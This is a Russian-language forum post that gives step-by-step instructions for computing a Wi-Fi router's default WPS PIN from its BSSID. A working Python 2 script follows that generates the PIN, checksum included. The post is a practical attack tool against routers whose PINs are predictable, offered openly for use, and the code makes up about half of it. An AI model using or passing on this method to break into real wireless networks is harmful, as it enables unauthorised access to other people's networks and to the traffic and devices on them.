
18.10.2013, 03:46
|
|
Флудер
Регистрация: 11.12.2010
Сообщений: 4,688
С нами:
8115446
Репутация:
125
|
|
Всё просто:
1. Берёшь три последних байта из BSSID
2. Копируешь их в калькулятор в Hex режиме (шестнадцатиричном)
3. Переводишь в Dec режим (десятичный)
4. Полученное число обрезаешь до 7 цифр от старшего разряда (mod 10000000)
5. Вычисляешь последнюю цифру (контрольную сумму) пина по алгоритму WPS PIN Checksum
Этот же алгоритм используется в проге WPSPIN на ведройд.
Вот, я по-быстрому сделал скрипт на питоне для генерации пина по алгоритму (на базе easybox_wps.py) :
Код:
#!/usr/bin/env python
import sys, re
def gen_pin (mac_str):
pin = int(mac_str[6:12], 16) % 10000000
# WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
# http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
accum = 0
t = pin
while (t):
accum += 3 * (t % 10)
t /= 10
accum += t % 10
t /= 10
return '%07i%i' % (pin, (10 - accum % 10) % 10)
def main():
if len(sys.argv) != 2:
sys.exit('usage: wpspin.py [BSSID]\n eg. wpspin.py CC:5D:4E:11:22:33\n')
mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
if len(mac_str) != 12:
sys.exit('check MAC format!\n')
print 'WPS pin:', gen_pin(mac_str)
if __name__ == "__main__":
main()
|
|
|